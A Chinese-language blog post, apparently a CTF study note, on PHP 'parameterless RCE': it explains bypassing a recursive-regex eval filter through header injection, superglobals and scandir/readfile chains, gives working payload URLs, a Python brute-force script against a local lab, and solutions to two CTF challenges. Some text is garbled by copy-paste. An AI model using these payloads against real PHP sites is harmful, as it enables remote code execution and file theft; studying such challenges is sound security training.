无参数RCE学习

无参数RCE学习

这几天刷题遇到了无参数RCE题型,于是就想学习一下相关知识点

题型表现

error_reporting(0);
$code='system("dir");';
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $code)) {
    print("yes");
    print("\n");
    eval($code)
}
else
{
    print('no');
}

由代码可知,只有被正则(递归匹配括号,括号内不能有内容)替换后剩下";"的字符串,才会允许被eval执行,

如果我们像上面一样正常RCE,就无法执行,
在这里插入图片描述

如果替换为" system();" 就可以通过验证,也就是说,我们只能调用不含参数也能达到RCE目的的方法来进行RCE

!在这里插入图片描述
非常考验我们对于php相关函数的了解程度

基于上面的代码搭建实验环境,开始学习

绕过思路

我们有多绕过种思路:1. 利用http头部信息,注入RCE代码 2.利用$_GET 或 $__POST等超全局变量注入代码 3.直接利用php相关函数读取文件

http头部注入

在apache环境下, getallheaders 方法可以获取所有的http头部信息,把相应的建值对放入一个数组中,返回该数组,使用时要配合print_r或var_dump等函数输出该数组的信息

​ 例如:

在这里插入图片描述


可以看到,越在下面的信息,就越在数组的前面的位置,我们可以通过php相关操作数组的方法,取出这个数组中的某个元素的键或值,z再利用抓包工具修改http头部信息,注入RCE代码即可

相关方法:

1.end()—> 取出数组最后一个元素的值:

在这里插入图片描述

  1. pos()取出数组第一个元素的值:

    在这里插入图片描述

3.next()方法 取出数组第二个元素的值

在这里插入图片描述

4.current()与pos()作用相同

所以这里我们就可以把Sec-Fetch-User的值改为RCE代码,用current或pos取出执行即可

在这里插入图片描述

由于我是在Windows搭建的实验环境,所以用的dir,之后就是熟悉的找flag,读取flag的环节了

在这里插入图片描述

利用超全局变量

这个思路我们要利用get_define_var()方法,它可以获得 P O S T , _POST, POST,_GET, C O O K I E , _COOKIE, COOKIE,__FILES这四个超全局变量,并把他们放入一个数组中,如:

在这里插入图片描述

可以看到,用GET方式传递的变量都在第一个子数组里,我们就可以利用$_GET,多传递一个变量来进行RCE

在这里插入图片描述

再用end()方法取出最后一个元素的值,进行RCE即可

在这里插入图片描述

任意文件读取

如果我们实在无法进行有效的RCE来读取文件,可以尝试利用php的一些文件操作方法来读取文件

​ (1) 目录跳转
1.getcwd() ——>获取该php文件所在目录(即工作目录)
2.dirname( d i r ) —— > 获取 dir) ——>获取 dir)——>获取dir 所在的上一级目录
3.chdir( d i r ) —— > 工作目录切换为 dir) ——>工作目录切换为 dir)——>工作目录切换为dir所在目录

1.2.3.配合就可以实现跳转的上级目录, 如:

chdir(dirname(getcwd()));

如果要跳转到上两级目录,再调用一次dirname(),要跳转更多,就继续套娃dirname()

chdir(dirname(dirname(getcwd())));

​ (2)扫描目录里的文件,并拿到对应的文件名

​ 1.scandir( d i r ) —— > 扫描 dir) ——> 扫描 dir)——>扫描dir目录的所有文件,放入一个数组中

​ 2.array_rand($arr) ——> 返回arr数组的一个随机元素的

​ 3.array_flip($arr) ——> 将原arr数组的健值互换,返回这个新数组

​ (3)读取文件内容

​ 1.readfile()

​ 2.highlight_file()

​ (1)(2)配合,就可以拿到一个目录下的随机的文件名,再配合(3),就可以随机读取目标目录下一个文件的内容

​ 例如:

​ 我们跳转到上两级目录,查看是否有flag,

?code=var_dump(scandir(dirname(chdir(dirname(dirname(getcwd()))))));

在这里插入图片描述

可以看到有flag,然后看能不能拿到这个目录下的文件名

?code=var_dump(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(getcwd()))))))));

​ 可以看到,返回了随机的一个文件名,

在这里插入图片描述

然后尝试读取文件内容,

?code=var_dump(readfile(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(getcwd())))))))));

在这里插入图片描述

成功读取的到了该目录下的随机文件内容,手动尝试一个个随机读取可能比较慢,我们可以写个脚本来爆破

import requests
import time
# 网站的url
web_url='http://localhost:8001/html/nopay_rce/test1.php?'
# payload
payload="code=var_dump(readfile(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(getcwd())))))))));"
response=requests.get(url=web_url+payload)
while "flag{" not in response.text:
    response=requests.get(url=web_url + payload)
    time.sleep(1)
print(response.text)

等待一段时间即可,

在这里插入图片描述

如果flag在数组中的第二或第一或末尾等位置,就可以用next(),pos()或current(),end()以及array_reverse()等函数来取出目标文件,就不用array_rand()这么麻烦的方法了

题目实战

做几道题练练手

[GXYCTF2019]禁止套娃1

题目:

在这里插入图片描述

查看了源代码,也是啥也没有,应该是信息泄露,用dirsearch扫描一下,发现是.git泄露,用githack拿下源码:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

可以看出这是无参数RCE,但是过滤了" et " ,我前面学习的三个方法都有用到" et ",这时我们就需要换个思路,

用localeconv()函数,它返回一个数组,第一个值是".“,由include “flag.php”; 可知,flag就在当前目录下,又因为”."代表当前目录,于是我们可以用pos取出,然后用scandir()扫描当前目录

在这里插入图片描述

在这里插入图片描述

flag在倒数第二个位置,我们可以用array_reverse反过来,再用next()取出,最后readfile读取即可,

在这里插入图片描述

成功

NewStarCTF 2023 Week2 R!!C!!E

题目:

在这里插入图片描述

又是信息泄露,跟上一题一样也是.git泄露,gihack拿下来后,发现在bo0g1pop.php里有:

<?php //highlight_file(__FILE__);

if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if (!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i', $_GET['star'])) {
        eval($_GET['star']);
    }
} ?>

过滤了很多函数,get_defined_vars禁了,不能用超全局变量,read,high都禁了,任意文件读取也行不通,但没有禁et

那我们就尝试,getallheaders,http头部注入

在这里插入图片描述

红色框就是我们可以利用的地方,注入RCE代码,然后array_reverse()反过来后再next取出执行即可

在这里插入图片描述

成功,可以执行RCE代码,接下来就是找flag,读取flag即可

在这里插入图片描述

  • 20
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值